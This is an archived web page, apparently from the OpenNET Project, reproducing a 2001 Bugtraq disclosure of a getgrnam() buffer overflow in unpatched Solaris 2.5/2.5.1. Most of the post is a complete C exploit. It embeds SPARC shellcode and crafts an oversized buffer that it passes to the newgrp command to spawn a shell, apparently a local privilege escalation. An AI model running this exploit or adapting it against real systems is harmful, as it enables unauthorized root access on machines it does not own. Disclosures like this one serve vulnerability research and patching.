The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Old getgrnam() Solaris 2.5 vulnerability


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Thu, 4 Jan 2001 11:03:47 -0300
From: Pablo Sor <[email protected]>
To: [email protected]
Subject: Old getgrnam() Solaris 2.5 vulnerability

Hi

Old versions of Solaris, 2.5/2.5.1 (without patch) contain an
exploitable buffer overflow in getgrnam() libc function.
Sorry if this is already know, it seems an old problem but i failed
searching it in the bugtraq archives.
This vulnerability may be used in newgrp command.

bye

Pablo Sor
[email protected]


#include <stdio.h>
#include <sys/types.h>


/*
   getgrnam() function overflow.

   works against Solaris 2.5.1 (SPARC)
   default offset should work.

   Pablo Sor, Buenos Aires, Argentina.
   [email protected]

*/

u_char shell[] =
 "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
 "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
 "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
 "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
 "\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
   __asm__("mov %sp,%i0 \n");
}

void main()
{

 long *p;
 long addr;
 char buf[8300];
 int i;


 addr = get_sp()-8096;
 printf("Jumping to address %p\n",addr);
 p = (long *) buf;
 for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
 for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
 p = (long *) &buf[8160];
 for (i=0;i<30;++i) *(p++) = addr;
 buf[8280]=0;
 execl("/usr/bin/newgrp","newgrp",buf,(char *)0);

}

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру